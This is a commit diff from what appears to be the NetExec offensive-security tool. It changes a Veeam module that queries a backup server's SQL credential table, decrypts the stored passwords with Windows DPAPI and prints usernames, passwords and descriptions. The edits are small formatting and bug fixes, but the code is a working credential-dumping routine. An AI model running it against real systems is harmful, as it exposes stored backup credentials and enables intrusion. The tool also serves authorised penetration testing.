Bug fixes and output formating

Author: NeffIsBack

nxc/data/veeam_dump_module/veeam_dump_mssql.ps1

@@ -4,7 +4,7 @@ $SqlInstanceName = "REPLACE_ME_SqlInstance"
 $b64Salt = "REPLACE_ME_b64Salt"
 
 #Forming the connection string
-$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
+$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
 $auth = "Integrated Security=SSPI;" #Local user
 $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
 $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -23,15 +23,15 @@ catch {
 	exit -1
 }
 
-$rows=($dataset.Tables | Select-Object -Expand Rows)
-if ($rows.count -eq 0) {
+$output=($dataset.Tables | Select-Object -Expand Rows)
+if ($output.count -eq 0) {
 	Write-Host "No passwords found!"
 	exit
 }
 
 Add-Type -assembly System.Security
 # Decrypting passwords using DPAPI
-$rows | ForEach-Object -Process {
+$output | ForEach-Object -Process {
 	$EncryptedPWD = [Convert]::FromBase64String($_.password)
 	$enc = [system.text.encoding]::Default
 

nxc/modules/veeam.py

@@ -167,19 +167,20 @@ def printCreds(self, context, output):
         # When powershell returns something else than the usernames and passwords account.split() will throw a ValueError.
         # This is likely an error thrown by powershell, so we print the error and the output for debugging purposes.
         try:
-            context.log.highlight(f"{'Username':<30} {'Password':<30} {'Description'}")
-            context.log.highlight(f"{'--------':<30} {'--------':<30} {'-----------'}")
+            context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}")
+            context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}")
             for account in output_stripped:
                 # Remove multiple whitespaces
                 account = " ".join(account.split())
                 try:
                     user, password, description = account.split(" ", 2)
                 except ValueError:
                     user, password = account.split(" ", 1)
+                    description = ""
                 user = user.strip().replace("WHITESPACE_ERROR", " ").strip()
                 password = password.strip().replace("WHITESPACE_ERROR", " ").strip()
                 description = description.strip().replace("WHITESPACE_ERROR", " ").strip()
-                context.log.highlight(f"{user:<30} {password:<30} {description}")
+                context.log.highlight(f"{user:<40} {password:<40} {description}")
         except ValueError:
             context.log.fail(f"Powershell returned unexpected output: {output_stripped}")
             context.log.fail("Please report this issue on GitHub!")